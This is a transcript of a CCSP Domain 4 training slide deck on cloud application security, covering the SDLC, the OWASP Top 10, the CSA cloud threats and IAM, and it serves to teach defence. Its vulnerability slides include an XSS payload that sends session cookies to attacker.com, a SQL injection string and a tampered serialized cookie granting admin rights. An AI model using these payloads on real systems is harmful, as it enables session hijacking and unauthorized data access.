This presentation covers the Domain 4 material required to pass the CCSP (Certified Cloud Security Professional) exam.

1. CLOUD APPLICATION
SECURITY
CCSP Domain 4

2. DOMAIN 4 TOPICS
1. Recognize the need for training and awareness in application security
2. Understand cloud software assurance and validation
3. Use verified secure software
4. Comprehend the software development life-cycle (SDLC) process
5. Apply the secure software development life-cycle
6. Comprehend the specifics of cloud application architecture
7. Design appropriate identity and access management (IAM) solutions

3. 1. TRAINING AND AWARENESS
A. Cloud Development Basics
B. Common Pitfalls
C. Common Vulnerabilities (e.g., OWASP Top 10)

4. 1. TRAINING AND AWARENESS:
DEFINITIONS
• Training: “The formal presentation of material, often delivered by internal subject
matter experts. It addresses and explains matters of the organization’s policies,
content mandated by regulation, and industry best practices for the organization’s
field.”
• Education: “The formal presentation of material in an academic setting, often for
credit toward a degree.”
• Awareness: “The additional, informal, often voluntary presentation of material for
the purpose of reminding and raising attention among staff.”

5. 1. TRAINING AND AWARENESS:
TRAINING CATEGORIES
• Initial training:
• delivered when personnel first enter the employ of the organization
• Covers security policies and procedures all staff are expected to understand
• Examples of content: password policy, physical security, use of security credentials or tokens,
how to report security concerns, acceptable use policy
• Best if done in-person
• Recurring training:
• At least once per year
• Topics include updates to security practices and procedures, changes to regulations and
policies, new elements in the infrastructure
• Refresher training:
• Given to personnel who need additional lessons (e.g., extended absence, missed recurring
training session, failed a security practice, etc.)

6. 1A. CLOUD DEVELOPMENT BASICS
Cloud development and applications can differ from traditional/on-premises development
(“Forklifting” not always an option)
• Data sensitivity issues in cloud - (more on this later)
• Need to understand service models (e.g., IaaS, PaaS, SaaS) and roles and responsibilities of
each (each model requires different levels of security responsibility on the part of the
customer)
• Need to understand deployment models (e.g., public, private, cloud, community, hybrid) and
who is responsible for security controls in each
• Understand RESTful vs SOAP APIs (more on this later)
• Multitenancy – tenancy separation prevents data leaks between customers
• Application Virtualization – running full applications in a protected space (e.g., WINE)(more
later)
• Cryptography – be familiar with different types, where it is used, and use case for each (more
later)
• Sandboxing – protected area for testing untested and untrusted code (more later)

7. 1B. COMMON PITFALLS
• On-premises does not always transfer
• Not all apps are cloud-ready
• Lack of training and awareness
• Lack of documentation and guidelines
• Complexities of integration (use of secure, validated APIs)
• Multitenancy (tenancy separation)
• Third-party administrators

8. 1C. COMMON VULNERABILITIES
(2017 OWASP TOP 10)
1. Injection
2. Broken Authentication
3. Sensitive Data Exposure
4. XML External Entities (XXE)
5. Broken Access Control
6. Security Misconfiguration
7. Cross-Site Scripting (XSS)
8. Insecure Deserialization
9. Using components with Known Vulnerabilities
10. Insufficient Logging and Monitoring
(More on these later)

9. 2. CLOUD SOFTWARE ASSURANCE
AND VALIDATION
A. Cloud-based Functional Testing
B. Cloud Secure Development Lifecycle
C. Security Testing (e.g., SAST, DAST, Pen Testing)

10. 2A. CLOUD-BASED FUNCTIONAL
DATA/TESTING
• “Functional data” refers to specific services your organization offers that have some
form of legal implication (e.g., regulatory requirements, contractual requirements,
etc.)
• Cloud providers are concerned about preventing customers from harming the cloud
enterprise and from accessing any other customers’ data or operation
• Cloud provider may allow customers to monitor and test data and behavior of the
network to ensure appropriate security controls are in place
• Monitoring may include access to audit and performance logs, delivering of SIEM
log data, deployment of a DLP solution, or access to a scaled-down, limited portion
of the cloud environment that mimics the overall infrastructure

11. 2B. CLOUD-SECURE SOFTWARE
DEVELOPMENT LIFECYCLE
• Several SDLC models:
• Waterfall
• Agile Development
• Spiral
• Others
• All SDLCs have steps similar to these:
• Planning and requirements analysis
• Defining
• Designing
• Developing
• Testing
• Maintenance:
• Operations (e.g., Puppet, Chef)
• Disposal

12. 2B. CLOUD-SECURE SDLC (CONT’D)
• For Cloud, best to use ISO/IEC 27034-1 (Information Technology – Security
Techniques – Application Security):
• Organizational Normative Framework (ONF)
• Continuous improvement loop with ANF: innovations resulting from securing a single application are
returned to the ONF to strengthen all organization application security in future
• Application Normative Framework (ANF)
• Used in conjunction with ONF, but created for a specific application
• Application Security Management Process (ASMP)
• To manage and maintain each ANF
• ONF to ANF is one-to-many relationship (one ONF is used as the basis to create
multiple ANFs)
• No official third-party certification process in place yet

13. 2C. APPLICATION SECURITY TESTING
• White-box testing vs black-box testing
• Static Application Security Testing (SAST)- white-box testing usually used while app is in dev
• Dynamic Application Security Testing (DAST)- black-box testing used while app is running
• Runtime application security testing (RASP) – prevents attacks by reconfiguring automatically
without human intervention in response to certain conditions
• Vulnerability Assessments – usually white-box test that identifies known vulnerabilities
• Penetration Testing
• Secure Code Reviews

14. 2C. APPLICATION SECURITY TESTING
(CONT’D)
• OWASP Recommendations:
• Identity management testing
• Authentication testing
• Authorization testing
• Session management testing
• Input validation testing
• Testing for error handling
• Testing for weak cryptography
• Business logic testing
• Client-side testing
• Chosen cloud deployment model (e.g., public vs private) may introduce new threat
vectors over traditional deployment

15. 3. USE VERIFIED SECURE SOFTWARE
A. Approved API
B. Supply-Chain Management
C. Community Knowledge

16. 3A. APPROVED API
• APIs are a very important part of cloud applications, as this is the primary access method
• Two of the possible formats for cloud APIs are:
• Representational State Transfer (REST)
• Uses HTTP
• Supports many data formats (e.g., JSON, XML, YAML, etc.)
• Good performance and scalability, uses caching
• Widely used
• Stateless
• Simple Object Access Protocol (SOAP)
• Uses SOAP envelope around HTTP, FTP, or SMTP
• Only supports XML
• Slower performance, complex scalability, no caching
• Used where REST is not possible
• Stateful

17. 3A. APPROVED API (CONT’D)
• APIs are a means for a company to expose functionality to applications
• Benefits:
• Programmatic control and access
• Automation
• Integration with third-party tools
• Use of APIs can lead to leveraging of insecure products outside corporate
boundaries; needs to be a formal approval process for all APIs
• To secure APIs, use SSL (REST) or message-level crypto-access (SOAP)
authentication, and log API usage; can also use OWASP’s Dependency-Check (to
check for known vulnerabilities in dependencies)

18. 3B. SOFTWARE SUPPLY CHAIN
MANAGEMENT
• More and more use of third-party software in the cloud
• Cloud has a highly dynamic software supply chain because so many applications
have unknown software components and are developed using uncertain
development processes
• Best if everyone produced software using guidance defined by ISO/IEC 27034-1 (but
there does not appear to be an official certification process yet)
• Would be great if orgs could access all code and services to verify proper and secure
functioning regardless of source

19. 3C. COMMUNITY KNOWLEDGE
• Open source software
• Openly tested and reviewed
• Considered to be more secure than software that has not undergone community
scrutiny

20. 4. COMPREHEND THE SDLC
PROCESS
A. Phases and Methodologies
B. Business Requirements
C. Software Configuration Management and Versioning

21. 4A. SDLC PHASES AND
METHODOLOGIES
As stated previously, typical SDLC phases are:
• Planning and requirements analysis
• Defining
• Designing
• Developing
• Testing
• Maintenance:
• Secure Operations
• Disposal

22. 4B. SDLC BUSINESS REQUIREMENTS
• Cloud Providers’ business requirements include:
• Be profitable
• Ensure all customer needs are met (i.e., Contracts and SLAs)
• Cloud Providers’ primary security concerns:
• Physical Plant or data center (campus, physical components, services)
• Logical Framework (secure installation and configuration of virtual OSs & other elements)
• Networking (firewalls, IDS/IPS, Honeypots, vulnerability assessments, communications
• Mapping and selection of controls (usually per regulations)
• DDoS prevention
• Cloud Customers need to define cloud strategy before entering into agreement with CSP
• Organizational assets agreed upon and assessed for suitability for cloud
• Define suitable business units or functions
• Outline phased approach to cloud journey
• Document exceptions, restrictions, and risks
• List regulatory and compliance components (addressed either jointly or by the provider)
• List business and system interdependencies

23. 4C. SDLC SOFTWARE CONFIGURATION
MANAGEMENT AND VERSIONING
• Carryover from on-premises: secure baseline configurations of the OS
• Create a secure OS baseline template to harden each new virtual machine deployment
• Exceptions should be approved by the change/configuration management process
• Version control for applications:
• Follow vendor recommendations
• Apply requisite patches and upgrades
• Ensure interoperability with the rest of the environment
• Document all changes and developments

24. 5. APPLY THE SECURE SDLC
A. Common Vulnerabilities (e.g., SQL Injection, XSS, XSRF, Direct Object Reference,
Buffer Overflow) – discussed earlier
B. Cloud-specific Risks
C. Quality of Service
D. Threat Modeling

25. 5A. COMMON VULNERABILITIES
(OWASP TOP 10 AGAIN)
1. Injection
2. Broken Authentication
3. Sensitive Data Exposure
4. XML External Entities (XXE)
5. Broken Access Control
6. Security Misconfiguration
7. Cross-Site Scripting (XSS)
8. Insecure Deserialization
9. Using components with Known Vulnerabilities
10. Insufficient Logging and Monitoring

26. 5A-1. INJECTION
• Definition: Occurs when an attacker can send hostile data to an interpreter as part of a
command or query
• Impact: Can result in data loss, corruption, or disclosure to unauthorized parties, loss of
accountability, denial of access, or complete host takeover
• Example: An application uses untrusted data in the construction of the following vulnerable
SQL call:
String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + “’”;
The attacker modifies the ‘id’ parameter value in their browser to send: ' or '1'='1. For example:
http://example.com/app/accountView?id=' or '1'=‘1
This changes the meaning of both queries to return all the records from the accounts table.
More dangerous attacks could modify or delete data, or even invoke stored procedures.

27. 5A-2. BROKEN AUTHENTICATION
• Definition: authentication and session management is implemented incorrectly,
allowing attackers to compromise passwords, keys, or session tokens
• Impact: attackers only have to gain access to a few accounts to compromise the
system; results in money laundering, social security fraud, and identity theft
• Example: Most authentication attacks occur due to the continued use of passwords
as a sole factor. Once considered best practices, password rotation and complexity
requirements are viewed as encouraging users to use, and reuse, weak passwords.
Organizations are recommended to stop these practices per NIST 800-63 and use
multi-factor authentication.

28. 5A-3. SENSITIVE DATA EXPOSURE
• Definition: Sensitive data is not properly protected
• Impact: compromises regulated data such as PII, credentials, and credit cards
• Example: A site doesn't use or enforce TLS for all pages or supports weak
encryption. An attacker monitors network traffic (e.g. at an insecure wireless
network), downgrades connections from HTTPS to HTTP, intercepts requests, and
steals the user's session cookie. The attacker then replays this cookie and hijacks the
user's (authenticated) session, accessing or modifying the user's private data.
Instead of the above they could alter all transported data, e.g. the recipient of a
money transfer.

29. 5A-4. XML EXTERNAL ENTITIES (XXE)
• Definition: XML processor evaluates external entity references within XML
documents, which can be used to disclose internal files
• Impact: Can be used to extract data, execute a remote request from the server, scan
internal systems, or perform a DoS attack
• Example: An attacker attempts a denial-of-service attack by including a potentially
endless file

30. 5A-5. BROKEN ACCESS CONTROL
• Definition: Poorly enforced restrictions on what authenticated users are allowed to
do, allowing attackers to access unauthorized functionality and/or data
• Impact: Attackers can act as users or administrators, and can create, access, update,
or delete records
• Example: The application uses unverified data in a SQL call that is accessing account
information:
pstmt.setString(1, request.getParameter("acct")); ResultSet results = pstmt.executeQuery( );
An attacker simply modifies the 'acct' parameter in the browser to send whatever account
number they want. If not properly verified, the attacker can access any user's account.

31. 5A-6. SECURITY MISCONFIGURATION
• Definition: Insecure default configurations, incomplete configurations, open cloud
storage, misconfigured HTTP headers, and verbose error messages
• Impact: Often give attackers unauthorized access to system data or functionality,
and can result in a complete system compromise
• Example: A cloud service provider has default sharing permissions open to the
Internet by other CSP users. This allows sensitive data stored within cloud storage to
be accessed.

32. 5A-7. CROSS-SITE SCRIPTING (XSS)
• Definition: application includes untrusted data in a new web page without proper validation
or escaping, allowing attackers to execute scripts in the victim’s browser to hijack user
sessions, deface web sites, or redirect the user to malicious sites
• Impact: Can result in stealing of credentials and sessions, or delivering malware to the victim
• Example: The application uses untrusted data in the construction of the following HTML
snippet without validation or escaping:
(String) page += “<input name=‘creditcard’ thpe=‘TEXT’
value=‘“+request.getParameter(“CC”)+”>”;
The attacker modifies the ‘CC’ parameter in the browser to:
‘><script>document.location=‘http://www.attacker.com/cgi-
bin/cookie.cgi?foo=‘+document.cookie</script>’.
This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the
attacker to hijack the user’s current session.

33. 5A-8. INSECURE DESERIALIZATION
• Definition: Serialization refers to a process of converting an object into a format
which can be persisted to disk, sent through streams, or sent over a network (e.g.,
JSON, XML). Deserialization is the opposite.
• Impact: Can lead to remote code execution attacks or allowing replay attacks,
injection attacks, and privilege escalation attacks
• Example: A PHP forum uses PHP object serialization to save a "super" cookie,
containing the user's user ID, role, password hash, and other state:
a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
An attacker changes the serialized object to give themselves admin privileges:
a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

34. 5A-9. USING COMPONENTS WITH
KNOWN VULNERABILITIES
• Definition: Libraries, frameworks, and other modules with known vulnerabilities can
run with the same privilege as the application, which facilitates serious data loss or
server takeover during a breach
• Impact: Some of the largest breaches have relied on exploiting new vulnerabilities
• Example: CVE-2017-5638, a Struts 2 remote code execution vulnerability that
enables execution of arbitrary code on the server, has been blamed for significant
breaches.

35. 5A-10. INSUFFICIENT LOGGING AND
MONITORING
• Definition: Lengthens time to detect breaches, allowing attackers to further attack
systems, maintain persistence, pivot to more systems, and tamper, extract, or
destroy data
• Impact: Most successful attacks start with vulnerability probing. Allowing them to
continue can raise the likelihood of successful exploit.
• Example: A major US retailer reportedly had an internal malware analysis sandbox
analyzing attachments. The sandbox software had detected potentially unwanted
software, but no one responded to this detection. The sandbox had been producing
warnings for some time before the breach was detected due to fraudulent card
transactions by an external bank.

36. 5B. CLOUD-SPECIFIC RISKS
Application and Data sensitivity and importance (mentioned previously) :
• To determine sensitivity and importance of an application you are considering to
put into a cloud environment, ask yourself what the impact would be in the
following situations:
• The data became widely public and widely distributed (including crossing geographic
boundaries)
• An employee of the cloud service provider accessed the application
• The process or function was manipulated by an outsider
• The process or function failed to provide expected results
• The data was unexpectedly changed
• The application was unavailable for a period of time

37. 5B. CLOUD-SPECIFIC RISKS (CONT’D)
CSA Treacherous Twelve of 2016:
1. Data Breaches
2. Weak Identity, Credential and Access Management
3. Insecure Interfaces and APIs
4. System and Application Vulnerabilities
5. Account Hijacking
6. Malicious Insiders
7. Advanced Persistent Threats (APTs)
8. Data Loss
9. Insufficient Due Diligence
10. Abuse and Nefarious Use of Cloud Services
11. Denial of Service
12. Shared Technology Issues

38. 5B-1. DATA BREACHES
• Definition: an incident in which sensitive, protected or confidential information is
released, viewed, stolen or used by an individual who is not authorized to do so
• Impact: the sensitivity of the data determines the extent of the damage; could
involve fines, civil lawsuits, or criminal charges
• Example: The 2015 Anthem breach of more than 80 million customer records began
with stolen credentials on the corporate network. A third-party cloud service was
used to transfer the huge data store from the company’s network to the public
cloud where it could be downloaded by the hackers.

39. 5B-2. WEAK IDENTITY, CREDENTIAL,
AND ACCESS MANAGEMENT
• Definition: lack of scalable identity access management systems, failure to use
multifactor authentication, weak password use, lack of ongoing automated rotation
of cryptographic keys, passwords, and certificates, and insecure storage of
cryptographic keys
• Impact: can enable unauthorized access to data and potentially catastrophic
damage to organizations or end users
• Example: Attackers Scrape GitHub for Cloud Service Credentials, Hijack Account to
Mine Virtual Currency – “Cloud service provider credentials included in a GitHub
project were discovered and misused within 36 hours of the project going live.”

40. 5B-3. INSECURE INTERFACES AND
APIS
• Definition: APIs and UIs are generally the most exposed part of a system, and will be
the target of heavy attack
• Impact: reliance on a weak set of interfaces and APIs exposes organizations to a
variety of security issues related to confidentiality, integrity, availability, and
accountability
• Example: The IRS Breach and the Importance of Adaptive API Security – “In mid-
2015, the US Internal Revenue Service (IRS) exposed over 300,000 records via a
vulnerable API (“Get Transcript”).”

41. 5B-4. SYSTEM AND APPLICATION
VULNERABILITIES
• Definition: Exploitable bugs in programs that attackers can use to infiltrate a
computer system for the purpose of stealing data, taking control of the system, or
disrupting service operations
• Impact: the costs of implementing protection are small in comparison to the costs of
the damage they can cause
• Example: Verizon 2015 Data Breach Investigations Report – “The Shellshock bug in
Bash was 2014’s second tumultuous OSS vulnerability event, quickly eclipsing
Heartbleed due to many more successful attacks.”

42. 5B-5. ACCOUNT HIJACKING
• Definition: Phishing, fraud, and exploitation of software vulnerabilities to obtain
credentials and passwords
• Impact: attackers can access critical areas of cloud computing services, allowing
them to compromise the confidentiality, integrity, and availability of those services
• Example: In June 2014, Code Spaces’ Amazon AWS account was compromised when
it failed to protect the administrative console with multifactor authentication. All the
company’s assets were destroyed, putting it out of business.

43. 5B-6. MALICIOUS INSIDERS
• Definition: CERN defines an insider threat as follows: “A malicious insider threat to
an organization is a current or former employee, contractor, or other business
partner who has or had authorized access to an organization’s network, system, or
data and intentionally exceeded or misused that access in a manner that negatively
affected the confidentiality, integrity, or availability of the organization’s information
or information systems.”
• Impact: a malicious insider can gain increasing levels of access to more critical
systems and eventually to data. Systems that depend solely on the CSP for security
are at greater risk here.
• Example: Cloud’s Privileged Identity Gap Intensifies Insider Threats – “Organizations
need to rein in shared accounts and do a better job tracking user activity across
cloud architectures.”

44. 5B-7. ADVANCED PERSISTENT
THREATS (APTS)
• Definition: a parasitical form of cyberattack that infiltrates systems to establish a foothold in
the computing infrastructure of target companies from which they smuggle data and
intellectual property. APTs pursue their goals stealthily over extended periods of time.
Spearphishing, direct hacking systems, delivering attack code through USB devices,
penetration through partner networks, and use of unsecured or third-party networks are
common points of entry for APTs.
• Impact: Combatting complex APTs may require more advanced security controls, process
management, incident response plans, and IT staff training, which can lead to increased
budgets.
• Example: Carbanak: How Would You Have Stopped a $1 Billion APT Attack? – “… Carbanak,
an APT attack against financial institutions around the world, may well be considered the
largest cyberheist to date. … Unlike the usual cybercriminal method of stealing consumer
credentials or compromising individual online banking sessions with malware, the brazen
Carbanak gang targeted banks’ internal systems and operations, resulting in a multichannel
robbery that averaged $8 million per bank.”

45. 5B-8. DATA LOSS
• Definition: permanent loss of access to data through destruction or loss of capability
to read it (e.g., loss of encryption key)
• Impact: Can affect compliance status or even force company out of business
• Example: In November 2014, attackers broke into Sony and leaked confidential
information such as PII and email exchanges among Sony employees. In the first
quarter 2015, Sony set aside USD $15 million to address ongoing damages from the
hack.

46. 5B-9. INSUFFICIENT DUE DILIGENCE
• Definition: An organization that rushes to adopt cloud technologies and choose
CSPs without performing due diligence exposes itself to a myriad of commercial,
financial, technical, legal and compliance risks that jeopardize its success.
• Impact: CSP may not have same priorities as customer regarding services; there may
be unknown technical issues; data in foreign locations may subject company to legal
redress; security and privacy controls may “disappear”
• Example: M&A – In 2011, Facebook settled FTC charges that it deceived consumers
by failing to keep its privacy promises. Under the terms of the FTC’s order, Facebook
must get consumer’s’ affirmative consent before making changes that override their
privacy settings, among other requirements.

47. 5B-10. ABUSE AND NEFARIOUS USE
OF CLOUD SERVICES
• Definition: Malicious actors may leverage cloud computing resources to target
users, organizations or other cloud providers. Examples of misuse of cloud service-
based resources include launching DDoS attacks, email spam, and phishing
campaigns; “mining” for digital currency; large-scale automated click fraud; brute-
force compute attacks of stolen credential databases; and hosting of malicious or
pirated content.
• Impact: Can reduce available capacity, pass increased costs along , and cause
business disruption for innocent cloud customers
• Example: The DDoS That Almost Broke the Internet – “The attackers were able to
generate more than 300 Gbps of traffic likely with a network of their own that only
had access to 1/100th of that amount of traffic themselves.”

48. 5B-11. DENIAL OF SERVICE
• Definition: Intended to prevent users of a service from being able to access their
data or applications by forcing the targeted cloud service to consume inordinate
amounts of finite system resources.
• Impact: Experiencing a denial-of-service attack is like being caught in rush-hour
traffic gridlock: there is no way to get to your destination, and there is nothing you
can do about it except sit and wait.
• Example: Feedly Knocked Offline by DDoS Attack Following Evernote and Deezer
Attacks – “In what looks like a series of co-ordinated cyber-attacks by a criminal
gang, three major cloud-based services have all been knocked offline in recent days.
News aggregator Feedly, note-taking app Evernote and music streaming service
Deezer have all come under attack from criminals in the last few days leading to all
three suffering service outages.

49. 5B-12. SHARED TECHNOLOGY
ISSUES
• Definition: Underlying components (e.g., CPU caches, GPUs, etc.) that comprise the
infrastructure supporting cloud services deployment may not have been designed to offer
strong isolation properties for a multitenant architecture (IaaS), re-deployable platforms
(PaaS) or multicustomer applications (SaaS). This can lead to shared technology
vulnerabilities that can potentially be exploited in all delivery models. The key is that a single
vulnerability or misconfiguration can lead to a compromise across an entire provider’s cloud.
• Impact: A compromise of shared technology exposes the entire environment to a potential
compromise and breach.
• Example: Cross-VM Side Channels and Their Use to Extract Private Keys – “…construction of
an access-driven side-channel attack by which a malicious virtual machine (VM) extracts fine-
grained information from a victim VM running on the same physical computer.”

50. 5C. QUALITY OF SERVICE
• Ensure you don’t over-control the cloud environment with security measures that
degrade the application’s performance
• Examples:
• Encryption
• Host-based Intrusion Detection systems on servers (agents on VMs)
• Only use security controls that are needed and adequate to reduce risk to
acceptable levels

51. 5D. THREAT MODELING
• Should be performed when application design is created
• Goal is to determine any weaknesses in the application before deployment
• STRIDE – system for classifying known threats according to kind of exploit or
motivation of attacker:
• Spoofing – any impersonation such as IP or user spoofing
• Tampering – with data output, data input, or data that is stored
• Repudiation – when the inability to deny one’s actions has been compromised
• Information disclosure – data leakage or an outright breach
• Denial of Service – any type of attack that could cause the application to be unavailable,
thereby voiding the CIA triangle of security
• Elevation of Privilege – the ability to elevate a user account privilege above the
authorized level

52. 6. CLOUD APPLICATION
ARCHITECTURE
A. Supplementary Security Devices (e.g., WAF, DAM, XML Firewalls, API Gateway)
B. Cryptography (e.g., TLS, SSL, IPSEC)
C. Sandboxing
D. Application Virtualization

53. 6A. SUPPLEMENTAL SECURITY
DEVICES
• Defense in Depth:
• Firewall – port blocking, unrequested inbound traffic prevention
• Web application firewall (WAF) – designed to protect specific web-based applications
(required by PCI)
• Database activity monitoring (DAM) – watches databases for unusual requests or activity
and send alerts or take action to stop it
• Deception Technology (“Honeypot”) – works in conjunction with WAFs and DAMs which
reroute unusual traffic to the honeypot to capture the attack
• API gateway – imposes controls on API activity (e.g., access control, connection limits,
etc.))
• XML gateway - works around how sensitive data and services are exposed to APIs, and
can implement DLP

54. 6B. CRYPTOGRAPHY
• Data held within and communicated to and between systems and services operating in the
cloud should be encrypted
• Encryption modes:
• Data at rest
• Whole instance encryption (encrypting entire storage medium)
• Volume encryption (encrypting a partition on a hard drive)
• File or directory encryption (in case disk or volume is breached)
• Data in transit
• Transport Layer Security (TLS) – successor to SSL
• Secure Sockets Layer (SSL) – deprecated by TLS
• Virtual Private Network (VPN) – such as IPSec gateway (encrypted) or MPLS (unencrypted)
• Data in Use
• Homomorphic Encryption (might not be on the CCSP test because this is so new)

55. 6B. CRYPTOGRAPHY (CONT’D)
• Data Masking/Obfuscation
• Keeps the format of a data string, but alters the content
• For example, showing only the last four digits of a Social Security number
• Tokenization
• Generates a token, such as a string of characters, that is used to substitute for sensitive
data, which is stored in a secured location (e.g., database)
• When accessed by a non-authorized entity, only the token string is shown, not the actual
data
• Often used to satisfy PCI DSS requirements for credit card processing

56. 6C. SANDBOXING
• Isolates and utilizes only the intended components
• For example, storing and accessing personal information in one sandbox, and
corporate information in another sandbox
• For cloud environments, typically used to run untested or untrusted code in a tightly
controlled environment
• Can be used to understand how an application works, or to test applications by
executing them and observing the file behavior for indications of malicious activity

57. 6D. APPLICATION VIRTUALIZATION
• Creates a virtual environment for an application to run in
• Goal is to test applications while protecting the OS and other applications
• Examples:
• Wine (allows a Microsoft application to run on a Linux platform)
• Microsoft App-V
• XenApp
• Methods to assess security of virtualized applications:
• Software assurance
• Verification and Validation (e.g. Threat Modeling/STRIDE)

58. 7. DESIGN APPROPRIATE IAM
SOLUTIONS
• Federated Identity
• Identity Providers
• Single Sign-On
• Multi-factor Authentication

59. 7 (CONT’D). IDENTITY AND ACCESS
MANAGEMENT
• Identity Management includes:
• Self-service
• Registration
• Password management
• Provisioning
• Access Management includes:
• Authentication
• Authorization
• Policy Management
• Federation
• Identity Repository

60. 7 (CONT’D). IDENTITY REPOSITORY
AND DIRECTORY SERVICES
• Identity repositories provide directory services for the administration of user
accounts and their attributes.
• Common Directory Services:
• X.500 and LDAP
• Microsoft Active Directory
• Novell eDirectory
• Metadata replication and synchronization
• Directory as a Service

61. 7A. FEDERATED IDENTITY
MANAGEMENT
• Provides the policies, processes, and mechanisms that manage identity and trusted
access to systems ACROSS ORGANIZATIONS
• Similar to Kerberos, but for separate domains
• Federation Standards:
• Security Assertion Markup Language (SAML) (most used)
• WS-Federation (OASIS)
• OpenID Connect (based on OAuth 2.0)
• OAuth (for web and mobile applications)
• Shibboleth (used in the education space)

62. 7B. IDENTITY PROVIDERS
• Federated Identity Providers
• Identity Provider – holds all the identities and generates a token for known users
• Relying Party – the service provider who consumes these tokens

63. 7C. SINGLE SIGN-ON
• Single Sign-on
• For signing in once to many applications within an organization
• Implemented similarly to on-premises solutions, except on virtual machines rather than
physical
• Federated Identity Management/Federated Single Sign-On
• Used for facilitating interorganizational and intersecurity domain access to resources
leveraging federated identity management

64. 7D. MULTIFACTOR
AUTHENTICATION
• Also called two-factor authentication or strong authentication
• Users must be able to provide at least two of the following requirements:
• Something they know (e.g., password)
• Something they have (e.g., display token with random numbers)
• Something they are (e.g., biometrics such as finger print or retinal scan)
• Includes one-time passwords
• Step-up authentication:
• Challenge questions
• Out-of-band authentication (e.g., SMS)
• Dynamic knowledge-based authentication (questions unique to end user)

65. REFERENCES
• The Official (isc)2 Guide to the CCSP CBK, second edition by Adam Gordon, 2016
• (isc)2 Certified Cloud Security Professional Official Study Guide by Brian T. O’Hara
and Ben Malisow, 2017
• The Treacherous 12 Cloud Computing Threats in 2016, Cloud Security Alliance,
February 2016
• The Open Web Application Security Project (OWASP), Top 10 – 2017, The Ten Most
Critical Web Application Security Risks

66. AMY NICEWICK, CISSP
SalusSec, LLC
www.salussec.com